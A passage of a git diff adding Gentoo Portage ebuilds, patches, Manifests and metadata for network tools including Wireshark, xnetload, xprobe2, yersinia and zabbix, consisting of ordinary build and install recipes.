+ doc/{randpkt.txt,README*}
+
+ # install headers
+ local wsheader
+ for wsheader in \
+ color.h \
+ config.h \
+ epan/*.h \
+ epan/crypt/*.h \
+ epan/dfilter/*.h \
+ epan/dissectors/*.h \
+ epan/ftypes/*.h \
+ epan/wmem/*.h \
+ register.h \
+ wiretap/*.h \
+ ws_symbol_export.h \
+ wsutil/*.h
+ do
+ insinto /usr/include/wireshark/$( dirname ${wsheader} )
+ doins ${wsheader}
+ done
+
+ #with the above this really shouldn't be needed, but things may be looking in wiretap/ instead of wireshark/wiretap/
+ insinto /usr/include/wiretap
+ doins wiretap/wtap.h
+
+ if use gtk3 || use qt4; then
+ local c d
+ for c in hi lo; do
+ for d in 16 32 48; do
+ insinto /usr/share/icons/${c}color/${d}x${d}/apps
+ newins image/${c}${d}-app-wireshark.png wireshark.png
+ done
+ done
+ fi
+
+ if use gtk3; then
+ domenu wireshark.desktop
+ fi
+
+ if use qt4; then
+ sed -e '/Exec=/s|wireshark|&-qt|g' wireshark.desktop > wireshark-qt.desktop || die
+ domenu wireshark-qt.desktop
+ fi
+
+ prune_libtool_files
+}
+
+pkg_postinst() {
+ # Add group for users allowed to sniff.
+ enewgroup wireshark
+
+ if use pcap; then
+ fcaps -o 0 -g wireshark -m 4710 -M 0710 \
+ cap_dac_read_search,cap_net_raw,cap_net_admin \
+ "${EROOT}"/usr/bin/dumpcap
+ fi
+
+ ewarn "NOTE: To capture traffic with wireshark as normal user you have to"
+ ewarn "add yourself to the wireshark group. This security measure ensures"
+ ewarn "that only trusted users are allowed to sniff your traffic."
+}
diff --git a/net-analyzer/wireshark/wireshark-1.99.8.ebuild b/net-analyzer/wireshark/wireshark-1.99.8.ebuild
new file mode 100644
index 000000000000..1479231904e5
--- /dev/null
+++ b/net-analyzer/wireshark/wireshark-1.99.8.ebuild
@@ -0,0 +1,264 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils fcaps flag-o-matic multilib qmake-utils qt4-r2 user
+
+DESCRIPTION="A network protocol analyzer formerly known as ethereal"
+HOMEPAGE="http://www.wireshark.org/"
+SRC_URI="${HOMEPAGE}download/src/all-versions/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0/${PV}"
+KEYWORDS=""
+IUSE="
+ adns +caps crypt doc doc-pdf geoip +gtk3 ipv6 kerberos lua +netlink +pcap
+ portaudio +qt4 qt5 selinux sbc smi cpu_flags_x86_sse4_2 ssl zlib
+"
+REQUIRED_USE="
+ ssl? ( crypt )
+ ?? ( qt4 qt5 )
+"
+
+GTK_COMMON_DEPEND="
+ x11-libs/gdk-pixbuf
+ x11-libs/pango
+ x11-misc/xdg-utils
+"
+CDEPEND="
+ >=dev-libs/glib-2.14:2
+ netlink? ( dev-libs/libnl:3 )
+ adns? ( >=net-dns/c-ares-1.5 )
+ crypt? ( dev-libs/libgcrypt:0 )
+ caps? ( sys-libs/libcap )
+ geoip? ( dev-libs/geoip )
+ gtk3? (
+ ${GTK_COMMON_DEPEND}
+ x11-libs/gtk+:3
+ )
+ kerberos? ( virtual/krb5 )
+ lua? ( >=dev-lang/lua-5.1:* )
+ pcap? ( net-libs/libpcap )
+ portaudio? ( media-libs/portaudio )
+ qt4? (
+ dev-qt/qtcore:4
+ dev-qt/qtgui:4[accessibility]
+ x11-misc/xdg-utils
+ )
+ qt5? (
+ dev-qt/qtcore:5
+ dev-qt/qtgui:5
+ dev-qt/qtprintsupport:5
+ dev-qt/qtwidgets:5
+ x11-misc/xdg-utils
+ )
+ sbc? ( media-libs/sbc )
+ smi? ( net-libs/libsmi )
+ ssl? ( net-libs/gnutls )
+ zlib? ( sys-libs/zlib !=sys-libs/zlib-1.2.4 )
+"
+# We need perl for `pod2html`. The rest of the perl stuff is to block older
+# and broken installs. #455122
+DEPEND="
+ ${CDEPEND}
+ dev-lang/perl
+ !<virtual/perl-Pod-Simple-3.170
+ !<perl-core/Pod-Simple-3.170
+ doc? (
+ app-doc/doxygen
+ app-text/asciidoc
+ dev-libs/libxml2
+ dev-libs/libxslt
+ doc-pdf? ( dev-java/fop )
+ www-client/lynx
+ )
+ sys-devel/bison
+ sys-devel/flex
+ virtual/pkgconfig
+"
+RDEPEND="
+ ${CDEPEND}
+ gtk3? ( virtual/freedesktop-icon-theme )
+ qt4? ( virtual/freedesktop-icon-theme )
+ qt5? ( virtual/freedesktop-icon-theme )
+ selinux? ( sec-policy/selinux-wireshark )
+"
+
+pkg_setup() {
+ enewgroup wireshark
+}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-1.6.13-ldflags.patch \
+ "${FILESDIR}"/${PN}-1.11.0-oldlibs.patch \
+ "${FILESDIR}"/${PN}-1.99.6-gcc_option.patch \
+ "${FILESDIR}"/${PN}-1.99.0.1975-sse4_2.patch \
+ "${FILESDIR}"/${PN}-99999999-pkgconfig.patch \
+ "${FILESDIR}"/${PN}-1.99.7-qt-pie.patch \
+ "${FILESDIR}"/${PN}-1.99.8-qtchooser.patch
+
+ epatch_user
+
+ eautoreconf
+}
+
+src_configure() {
+ local myconf
+
+ # Workaround bug #213705. If krb5-config --libs has -lcrypto then pass
+ # --with-ssl to ./configure. (Mimics code from acinclude.m4).
+ if use kerberos; then
+ case $(krb5-config --libs) in
+ *-lcrypto*)
+ ewarn "Kerberos was built with ssl support: linkage with openssl is enabled."
+ ewarn "Note there are annoying license incompatibilities between the OpenSSL"
+ ewarn "license and the GPL, so do your check before distributing such package."
+ myconf+=( "--with-ssl" )
+ ;;
+ esac
+ fi
+
+ # Enable wireshark binary with any supported GUI toolkit (bug #473188)
+ if use gtk3 || use qt4 || use qt5; then
+ myconf+=( "--enable-wireshark" )
+ else
+ myconf+=( "--disable-wireshark" )
+ fi
+
+ if ! use qt4 && ! use qt5; then
+ myconf+=( "--with-qt=no" )
+ fi
+
+ if use qt4; then
+ export QT_MIN_VERSION=4.6.0
+ fi
+
+ if use qt5; then
+ export QT_MIN_VERSION=5.3.0
+ append-cxxflags -fPIC -DPIC
+ fi
+
+ # Hack around inability to disable doxygen/fop doc generation
+ use doc || export ac_cv_prog_HAVE_DOXYGEN=false
+ use doc-pdf || export ac_cv_prog_HAVE_FOP=false
+
+ # dumpcap requires libcap
+ # --disable-profile-build bugs #215806, #292991, #479602
+ econf \
+ $(use_enable ipv6) \
+ $(use_with adns c-ares) \
+ $(use_with caps libcap) \
+ $(use_with crypt gcrypt) \
+ $(use_with geoip) \
+ $(use_with gtk3) \
+ $(use_with kerberos krb5) \
+ $(use_with lua) \
+ $(use_with pcap dumpcap-group wireshark) \
+ $(use_with pcap) \
+ $(use_with portaudio) \
+ $(usex qt4 --with-qt=4 '') \
+ $(usex qt5 --with-qt=5 '') \
+ $(usex qt4 MOC=$(qt4_get_bindir)/moc '') \
+ $(usex qt4 RCC=$(qt4_get_bindir)/rcc '') \
+ $(usex qt4 UIC=$(qt4_get_bindir)/uic '') \
+ $(usex qt5 MOC=$(qt5_get_bindir)/moc '') \
+ $(usex qt5 RCC=$(qt5_get_bindir)/rcc '') \
+ $(usex qt5 UIC=$(qt5_get_bindir)/uic '') \
+ $(use_with sbc) \
+ $(use_with smi libsmi) \
+ $(use_with ssl gnutls) \
+ $(use_with zlib) \
+ $(usex netlink --with-libnl=3 --without-libnl) \
+ $(usex cpu_flags_x86_sse4_2 --enable-sse4_2 '') \
+ --disable-profile-build \
+ --disable-usr-local \
+ --disable-warnings-as-errors \
+ --sysconfdir="${EPREFIX}"/etc/wireshark \
+ --without-adns \
+ ${myconf[@]}
+}
+
+src_compile() {
+ default
+ if use doc; then
+ use doc-pdf && addpredict "/root/.java"
+ emake -j1 -C docbook
+ fi
+}
+
+src_install() {
+ default
+ if use doc; then
+ dohtml -r docbook/{release-notes.html,ws{d,u}g_html{,_chunked}}
+ if use doc-pdf; then
+ insinto /usr/share/doc/${PF}/pdf/
+ doins docbook/{{developer,user}-guide,release-notes}-{a4,us}.pdf
+ fi
+ fi
+
+ # FAQ is not required as is installed from help/faq.txt
+ dodoc AUTHORS ChangeLog NEWS README{,.bsd,.linux,.macos,.vmware} \
+ doc/{randpkt.txt,README*}
+
+ # install headers
+ local wsheader
+ for wsheader in \
+ color.h \
+ config.h \
+ epan/*.h \
+ epan/crypt/*.h \
+ epan/dfilter/*.h \
+ epan/dissectors/*.h \
+ epan/ftypes/*.h \
+ epan/wmem/*.h \
+ register.h \
+ wiretap/*.h \
+ ws_symbol_export.h \
+ wsutil/*.h
+ do
+ insinto /usr/include/wireshark/$( dirname ${wsheader} )
+ doins ${wsheader}
+ done
+
+ #with the above this really shouldn't be needed, but things may be looking in wiretap/ instead of wireshark/wiretap/
+ insinto /usr/include/wiretap
+ doins wiretap/wtap.h
+
+ if use gtk3 || use qt4; then
+ local c d
+ for c in hi lo; do
+ for d in 16 32 48; do
+ insinto /usr/share/icons/${c}color/${d}x${d}/apps
+ newins image/${c}${d}-app-wireshark.png wireshark.png
+ done
+ done
+ fi
+
+ if use gtk3; then
+ domenu wireshark.desktop
+ fi
+
+ if use qt4; then
+ sed -e '/Exec=/s|wireshark|&-qt|g' wireshark.desktop > wireshark-qt.desktop || die
+ domenu wireshark-qt.desktop
+ fi
+
+ prune_libtool_files
+}
+
+pkg_postinst() {
+ # Add group for users allowed to sniff.
+ enewgroup wireshark
+
+ if use pcap; then
+ fcaps -o 0 -g wireshark -m 4710 -M 0710 \
+ cap_dac_read_search,cap_net_raw,cap_net_admin \
+ "${EROOT}"/usr/bin/dumpcap
+ fi
+
+ ewarn "NOTE: To capture traffic with wireshark as normal user you have to"
+ ewarn "add yourself to the wireshark group. This security measure ensures"
+ ewarn "that only trusted users are allowed to sniff your traffic."
+}
diff --git a/net-analyzer/wireshark/wireshark-99999999.ebuild b/net-analyzer/wireshark/wireshark-99999999.ebuild
new file mode 100644
index 000000000000..02e46afe8ba4
--- /dev/null
+++ b/net-analyzer/wireshark/wireshark-99999999.ebuild
@@ -0,0 +1,267 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils fcaps flag-o-matic git-r3 multilib qmake-utils qt4-r2 user
+
+DESCRIPTION="A network protocol analyzer formerly known as ethereal"
+HOMEPAGE="http://www.wireshark.org/"
+EGIT_REPO_URI="https://code.wireshark.org/review/wireshark"
+
+LICENSE="GPL-2"
+SLOT="0/${PV}"
+KEYWORDS=""
+IUSE="
+ adns +caps crypt doc doc-pdf geoip +gtk3 ipv6 kerberos lua +netlink +pcap
+ portaudio +qt4 qt5 sbc selinux smi cpu_flags_x86_sse4_2 ssl zlib
+"
+REQUIRED_USE="
+ ssl? ( crypt )
+ ?? ( qt4 qt5 )
+"
+
+GTK_COMMON_DEPEND="
+ x11-libs/gdk-pixbuf
+ x11-libs/pango
+ x11-misc/xdg-utils
+"
+CDEPEND="
+ >=dev-libs/glib-2.14:2
+ netlink? ( dev-libs/libnl:3 )
+ adns? ( >=net-dns/c-ares-1.5 )
+ crypt? ( dev-libs/libgcrypt:0 )
+ caps? ( sys-libs/libcap )
+ geoip? ( dev-libs/geoip )
+ gtk3? (
+ ${GTK_COMMON_DEPEND}
+ x11-libs/gtk+:3
+ )
+ kerberos? ( virtual/krb5 )
+ lua? ( >=dev-lang/lua-5.1:* )
+ pcap? ( net-libs/libpcap )
+ portaudio? ( media-libs/portaudio )
+ qt4? (
+ dev-qt/qtcore:4
+ dev-qt/qtgui:4[accessibility]
+ x11-misc/xdg-utils
+ )
+ qt5? (
+ dev-qt/qtcore:5
+ dev-qt/qtgui:5
+ dev-qt/qtprintsupport:5
+ dev-qt/qtwidgets:5
+ x11-misc/xdg-utils
+ )
+ sbc? ( media-libs/sbc )
+ smi? ( net-libs/libsmi )
+ ssl? ( net-libs/gnutls )
+ zlib? ( sys-libs/zlib !=sys-libs/zlib-1.2.4 )
+"
+# We need perl for `pod2html`. The rest of the perl stuff is to block older
+# and broken installs. #455122
+DEPEND="
+ ${CDEPEND}
+ dev-lang/perl
+ !<virtual/perl-Pod-Simple-3.170
+ !<perl-core/Pod-Simple-3.170
+ doc? (
+ app-doc/doxygen
+ app-text/asciidoc
+ dev-libs/libxml2
+ dev-libs/libxslt
+ doc-pdf? ( dev-java/fop )
+ www-client/lynx
+ )
+ sys-devel/bison
+ sys-devel/flex
+ virtual/pkgconfig
+"
+RDEPEND="
+ ${CDEPEND}
+ gtk3? ( virtual/freedesktop-icon-theme )
+ qt4? ( virtual/freedesktop-icon-theme )
+ qt5? ( virtual/freedesktop-icon-theme )
+ selinux? ( sec-policy/selinux-wireshark )
+"
+
+pkg_setup() {
+ enewgroup wireshark
+}
+
+src_unpack() {
+ git-r3_src_unpack
+}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-1.6.13-ldflags.patch \
+ "${FILESDIR}"/${PN}-1.11.0-oldlibs.patch \
+ "${FILESDIR}"/${PN}-1.99.0.1975-sse4_2.patch \
+ "${FILESDIR}"/${PN}-99999999-pkgconfig.patch \
+ "${FILESDIR}"/${PN}-1.99.7-qt-pie.patch \
+ "${FILESDIR}"/${PN}-1.99.8-qtchooser.patch
+
+ epatch_user
+
+ eautoreconf
+}
+
+src_configure() {
+ local myconf
+
+ # Workaround bug #213705. If krb5-config --libs has -lcrypto then pass
+ # --with-ssl to ./configure. (Mimics code from acinclude.m4).
+ if use kerberos; then
+ case $(krb5-config --libs) in
+ *-lcrypto*)
+ ewarn "Kerberos was built with ssl support: linkage with openssl is enabled."
+ ewarn "Note there are annoying license incompatibilities between the OpenSSL"
+ ewarn "license and the GPL, so do your check before distributing such package."
+ myconf+=( "--with-ssl" )
+ ;;
+ esac
+ fi
+
+ # Enable wireshark binary with any supported GUI toolkit (bug #473188)
+ if use gtk3 || use qt4 || use qt5; then
+ myconf+=( "--enable-wireshark" )
+ else
+ myconf+=( "--disable-wireshark" )
+ fi
+
+ use qt4 && export QT_MIN_VERSION=4.6.0
+
+ if use qt5; then
+ export QT_MIN_VERSION=5.3.0
+ append-cxxflags -fPIC -DPIC
+ fi
+
+ # Hack around inability to disable doxygen/fop doc generation
+ use doc || export ac_cv_prog_HAVE_DOXYGEN=false
+ use doc-pdf || export ac_cv_prog_HAVE_FOP=false
+
+ if use qt4; then
+ myconf+=" --with-qt=4"
+ elif use qt5; then
+ myconf+=" --with-qt=5"
+ else
+ myconf+=" --with-qt=no"
+ fi
+
+ # dumpcap requires libcap
+ # --disable-profile-build bugs #215806, #292991, #479602
+ econf \
+ $(use_enable ipv6) \
+ $(use_with adns c-ares) \
+ $(use_with caps libcap) \
+ $(use_with crypt gcrypt) \
+ $(use_with geoip) \
+ $(use_with gtk3) \
+ $(use_with kerberos krb5) \
+ $(use_with lua) \
+ $(use_with pcap dumpcap-group wireshark) \
+ $(use_with pcap) \
+ $(use_with portaudio) \
+ $(usex qt4 MOC=$(qt4_get_bindir)/moc '') \
+ $(usex qt4 RCC=$(qt4_get_bindir)/rcc '') \
+ $(usex qt4 UIC=$(qt4_get_bindir)/uic '') \
+ $(usex qt5 MOC=$(qt5_get_bindir)/moc '') \
+ $(usex qt5 RCC=$(qt5_get_bindir)/rcc '') \
+ $(usex qt5 UIC=$(qt5_get_bindir)/uic '') \
+ $(use_with sbc) \
+ $(use_with smi libsmi) \
+ $(use_with ssl gnutls) \
+ $(use_with zlib) \
+ $(usex netlink --with-libnl=3 --without-libnl) \
+ $(usex cpu_flags_x86_sse4_2 --enable-sse4_2 '') \
+ --disable-profile-build \
+ --disable-usr-local \
+ --disable-warnings-as-errors \
+ --sysconfdir="${EPREFIX}"/etc/wireshark \
+ --without-adns \
+ ${myconf[@]}
+}
+
+src_compile() {
+ default
+ if use doc; then
+ use doc-pdf && addpredict "/root/.java"
+ emake -j1 -C docbook
+ fi
+}
+
+src_install() {
+ default
+ if use doc; then
+ dohtml -r docbook/{release-notes.html,ws{d,u}g_html{,_chunked}}
+ if use doc-pdf; then
+ insinto /usr/share/doc/${PF}/pdf/
+ doins docbook/{{developer,user}-guide,release-notes}-{a4,us}.pdf
+ fi
+ fi
+
+ # FAQ is not required as is installed from help/faq.txt
+ dodoc AUTHORS ChangeLog NEWS README{,.bsd,.linux,.macos,.vmware} \
+ doc/{randpkt.txt,README*}
+
+ # install headers
+ local wsheader
+ for wsheader in \
+ color.h \
+ config.h \
+ epan/*.h \
+ epan/crypt/*.h \
+ epan/dfilter/*.h \
+ epan/dissectors/*.h \
+ epan/ftypes/*.h \
+ epan/wmem/*.h \
+ register.h \
+ wiretap/*.h \
+ ws_symbol_export.h \
+ wsutil/*.h
+ do
+ insinto /usr/include/wireshark/$( dirname ${wsheader} )
+ doins ${wsheader}
+ done
+
+ #with the above this really shouldn't be needed, but things may be looking in wiretap/ instead of wireshark/wiretap/
+ insinto /usr/include/wiretap
+ doins wiretap/wtap.h
+
+ if use gtk3 || use qt4; then
+ local c d
+ for c in hi lo; do
+ for d in 16 32 48; do
+ insinto /usr/share/icons/${c}color/${d}x${d}/apps
+ newins image/${c}${d}-app-wireshark.png wireshark.png
+ done
+ done
+ fi
+
+ if use gtk3; then
+ domenu wireshark.desktop
+ fi
+
+ if use qt4; then
+ sed -e '/Exec=/s|wireshark|&-qt|g' wireshark.desktop > wireshark-qt.desktop || die
+ domenu wireshark-qt.desktop
+ fi
+
+ prune_libtool_files
+}
+
+pkg_postinst() {
+ # Add group for users allowed to sniff.
+ enewgroup wireshark
+
+ if use pcap; then
+ fcaps -o 0 -g wireshark -m 4710 -M 0710 \
+ cap_dac_read_search,cap_net_raw,cap_net_admin \
+ "${EROOT}"/usr/bin/dumpcap
+ fi
+
+ ewarn "NOTE: To capture traffic with wireshark as normal user you have to"
+ ewarn "add yourself to the wireshark group. This security measure ensures"
+ ewarn "that only trusted users are allowed to sniff your traffic."
+}
diff --git a/net-analyzer/xnetload/Manifest b/net-analyzer/xnetload/Manifest
new file mode 100644
index 000000000000..bdb82789cee1
--- /dev/null
+++ b/net-analyzer/xnetload/Manifest
@@ -0,0 +1 @@
+DIST xnetload-1.11.3.tar.gz 24551 SHA256 518f6bd138b9d414865aa068ca7110de8b6d6cccde24e5deda8a8c534087a299 SHA512 2008102c132ee96b12251b7c2475efcae7926bb16ba032f75d6be42650785fb707bed3696586369c04bb0e9434ee7854de585e7a015f1a15037a7f30c86036b7 WHIRLPOOL d64db168de3626c60388c5b457602c9d4a31affae445efcbae3dea67e43d5a648c540187a7cbbfcefbad4acfae65428eb115f6a7e100d4ba3d48cd684d010bdc
diff --git a/net-analyzer/xnetload/metadata.xml b/net-analyzer/xnetload/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/xnetload/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/xnetload/xnetload-1.11.3-r1.ebuild b/net-analyzer/xnetload/xnetload-1.11.3-r1.ebuild
new file mode 100644
index 000000000000..6b3ef4dcc97e
--- /dev/null
+++ b/net-analyzer/xnetload/xnetload-1.11.3-r1.ebuild
@@ -0,0 +1,42 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit toolchain-funcs
+
+DESCRIPTION="displays a count and a graph of the traffic over a specified network connection"
+LICENSE="GPL-2"
+HOMEPAGE="http://www.xs4all.nl/~rsmith/software/"
+SRC_URI="${HOMEPAGE}${P}.tar.gz"
+
+SLOT="0"
+KEYWORDS="amd64 ppc ppc64 sparc x86"
+
+DEPEND="
+ x11-libs/libX11
+ x11-libs/libXt
+ x11-libs/libXaw
+"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ sed -i \
+ -e 's:CFLAGS = -pipe -O2 -Wall:CFLAGS += -Wall:' \
+ -e 's:LFLAGS = -s -pipe:LFLAGS = $(LDFLAGS):' \
+ -e 's:gcc -MM:$(CC) -MM:' \
+ -e 's:/usr/X11R6:/usr:g' \
+ Makefile || die
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)"
+}
+
+src_install() {
+ dobin xnetload
+ doman xnetload.1
+ dodoc ChangeLog README
+ insinto /usr/share/X11/app-defaults/
+ doins XNetload
+}
diff --git a/net-analyzer/xprobe/Manifest b/net-analyzer/xprobe/Manifest
new file mode 100644
index 000000000000..8ba8d21f6579
--- /dev/null
+++ b/net-analyzer/xprobe/Manifest
@@ -0,0 +1 @@
+DIST xprobe2-0.3.tar.gz 533636 SHA256 12a9d0a2f38da8bb74c9e1cd96b2019802632cf55f8948384aafd417bb79a164 SHA512 fd499ada22be5df3e01630948cb72d1a9e648e0c7bfaf2a688386a61c67bb36a326a9e2f3f2b9960a6a49128343010aafe8a3f04ec05e89420a1384215e41f21 WHIRLPOOL 6b5b9ec1b1786c186f63912dcc424b0750bd98acee20ffe729d77ca7c474d5f0a531a6089db5fe791135bb2a584e5ea01f7f06ac4bb4344844f06e11e5ff7bd1
diff --git a/net-analyzer/xprobe/files/xprobe-0.3-gcc43.patch b/net-analyzer/xprobe/files/xprobe-0.3-gcc43.patch
new file mode 100644
index 000000000000..1175631b9a16
--- /dev/null
+++ b/net-analyzer/xprobe/files/xprobe-0.3-gcc43.patch
@@ -0,0 +1,29 @@
+--- a/libs-external/USI++/src/ip.cc
++++ b/libs-external/USI++/src/ip.cc
+@@ -13,6 +13,7 @@
+ #include "usi++/ip.h"
+
+ #include "config.h"
++#include <cstdlib>
+ #include <iostream>
+ #include <string.h>
+ #include <errno.h>
+--- a/libs-external/USI++/src/misc.cc
++++ b/libs-external/USI++/src/misc.cc
+@@ -1,5 +1,6 @@
+ #include "usi++/usi++"
+ #include "usi++/usi-structs.h"
++#include <cstdlib>
+ #include <string.h>
+ #include <unistd.h>
+ #include <sys/ioctl.h>
+--- a/libs-external/USI++/usi++/tcp.h
++++ b/libs-external/USI++/usi++/tcp.h
+@@ -15,6 +15,7 @@
+ #include "usi-structs.h"
+ #include "datalink.h"
+ #include "ip.h"
++#include <cstring>
+
+ namespace usipp {
+
diff --git a/net-analyzer/xprobe/metadata.xml b/net-analyzer/xprobe/metadata.xml
new file mode 100644
index 000000000000..b17f052c15e8
--- /dev/null
+++ b/net-analyzer/xprobe/metadata.xml
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>
+Active OS fingerprinting tool. This is the new xprobe, called xprobe2, due to
+xprobe1 being obsoleted. xprobe2 has a different approach to OS fingerprinting.
+xprobe2 relies on fuzzy signature matching, probabilistic guesses, multiple
+matches simultaneously, and a signature database.
+</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">xprobe</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/xprobe/xprobe-0.3.ebuild b/net-analyzer/xprobe/xprobe-0.3.ebuild
new file mode 100644
index 000000000000..f16e943c9ea0
--- /dev/null
+++ b/net-analyzer/xprobe/xprobe-0.3.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils
+
+MY_P=${PN}2-${PV}
+
+DESCRIPTION="Active OS fingerprinting tool - this is Xprobe2"
+HOMEPAGE="http://sys-security.com/blog/xprobe2"
+SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~sparc x86"
+
+DEPEND="net-libs/libpcap"
+RDEPEND="${DEPEND}"
+
+S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-gcc43.patch
+ sed -i -e 's:strip:true:' src/Makefile.in || die
+}
+
+src_install() {
+ default
+ dodoc AUTHORS CHANGELOG CREDITS README TODO docs/*.{txt,pdf}
+}
diff --git a/net-analyzer/yersinia/Manifest b/net-analyzer/yersinia/Manifest
new file mode 100644
index 000000000000..d1a86e20572a
--- /dev/null
+++ b/net-analyzer/yersinia/Manifest
@@ -0,0 +1 @@
+DIST yersinia-0.7.3.tar.gz 378124 SHA256 042abc466c5b470b97079e0049b4029a8cbb75d583cfbfb756fca76e460d40b4 SHA512 60a1b58e6d76448e9332656645b468a6aa66afa0f45ea4b70a929651194a294b9b559bbe5fbacaeb475126e7ac248cd97c29f3177e5080286b2f551f1400d339 WHIRLPOOL bf554765fb4d8a5a2c4bef78841c58c8712cd3b44c3d325e0b92b51ff4ff629a377ce78471df45d1307341ff9fd3099945d5359a86df47aebafeca7b447a2c8b
diff --git a/net-analyzer/yersinia/files/yersinia-0.7.1-no-ncurses.patch b/net-analyzer/yersinia/files/yersinia-0.7.1-no-ncurses.patch
new file mode 100644
index 000000000000..96036dd629e9
--- /dev/null
+++ b/net-analyzer/yersinia/files/yersinia-0.7.1-no-ncurses.patch
@@ -0,0 +1,13 @@
+--- a/src/terminal.c
++++ b/src/terminal.c
+@@ -190,7 +190,9 @@
+ #endif
+
+ pthread_mutex_destroy(&terms->admin_listen_th.finished);
++#ifdef HAS_CURSES
+ pthread_mutex_destroy(&terms->gui_th.finished);
++#endif
+ pthread_mutex_destroy(&terms->pcap_listen_th.finished);
+ pthread_mutex_destroy(&terms->uptime_th.finished);
+
+
diff --git a/net-analyzer/yersinia/files/yersinia-0.7.3-tinfo.patch b/net-analyzer/yersinia/files/yersinia-0.7.3-tinfo.patch
new file mode 100644
index 000000000000..8a58d01d33c6
--- /dev/null
+++ b/net-analyzer/yersinia/files/yersinia-0.7.3-tinfo.patch
@@ -0,0 +1,27 @@
+--- a/configure.in
++++ b/configure.in
+@@ -467,6 +467,7 @@
+ AC_DEFINE(HAVE_REMOTE_ADMIN)
+ fi
+
++PKG_CHECK_MODULES(ncurses,ncurses)
+
+ dnl Curses detection: Munged from Midnight Commander's configure.in
+ dnl
+@@ -616,6 +617,16 @@
+ AC_DEFINE(USE_NCURSES)
+ AC_DEFINE(HAS_CURSES)
+ has_curses=true
++ else
++ if test "$ncurses_LIBS" ; then
++ CURSES_LIBS="$ncurses_LIBS"
++ CURSES_INCLUDEDIR="$ncurses_CFLAGS"
++ search_ncurses=false
++ screen_manager="ncurses"
++ AC_DEFINE(USE_NCURSES)
++ AC_DEFINE(HAS_CURSES)
++ has_curses=true
++ fi
+ fi
+ )
+
diff --git a/net-analyzer/yersinia/metadata.xml b/net-analyzer/yersinia/metadata.xml
new file mode 100644
index 000000000000..cc554b32314f
--- /dev/null
+++ b/net-analyzer/yersinia/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>
+Yersinia is a network tool designed to take advantage of some weakeness
+in different network protocols. It intends to be a solid framework for
+analyzing and testing the deployed networks and systems.
+</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/yersinia/yersinia-0.7.3.ebuild b/net-analyzer/yersinia/yersinia-0.7.3.ebuild
new file mode 100644
index 000000000000..720c2210c005
--- /dev/null
+++ b/net-analyzer/yersinia/yersinia-0.7.3.ebuild
@@ -0,0 +1,54 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="A layer 2 attack framework"
+HOMEPAGE="http://www.yersinia.net/"
+SRC_URI="http://www.yersinia.net/download/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE="gtk ncurses"
+
+RDEPEND="
+ ncurses? ( >=sys-libs/ncurses-5.5 )
+ gtk? ( =x11-libs/gtk+-2* )
+ >=net-libs/libnet-1.1.2
+ >=net-libs/libpcap-0.9.4
+"
+DEPEND="
+ virtual/pkgconfig
+ ${RDEPEND}
+"
+
+DOCS=( AUTHORS ChangeLog FAQ README THANKS TODO )
+
+S="${WORKDIR}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-0.7.1-no-ncurses.patch
+ epatch "${FILESDIR}"/${PN}-0.7.3-tinfo.patch
+
+ if ! use gtk; then
+ #bug #514802
+ sed -i -e '/AM_GLIB_GNU_GETTEXT/d' configure.in || die
+ fi
+
+ eautoreconf
+}
+
+src_configure() {
+ econf \
+ --enable-admin \
+ --with-pcap-includes=/usr/include \
+ $(use_with ncurses) \
+ $(use_enable gtk)
+}
+
+src_compile() {
+ emake CFLAGS="${CFLAGS}"
+}
diff --git a/net-analyzer/zabbix/Manifest b/net-analyzer/zabbix/Manifest
new file mode 100644
index 000000000000..418a463086a6
--- /dev/null
+++ b/net-analyzer/zabbix/Manifest
@@ -0,0 +1,3 @@
+DIST zabbix-2.2.5.tar.gz 14960556 SHA256 1e33f54d4accc5b6a0dccf4a308d27dc82de245567dffef823f9add9fa7d81b5 SHA512 0e229a2502f1332775db2107556b5e62267bcdf05dc483957960f563877ed970aef7ed465123576849413305e54309d83eeb75dd1f522c93cf09cd4b75265514 WHIRLPOOL 0a6b81f4e23ad8c8247b5356aa31bc4dfbd364642a647b9dff3216a0141cd2287b75731f396d26083aa412669a7efdb6f24fcb8592b4773c4a21d02b2f369681
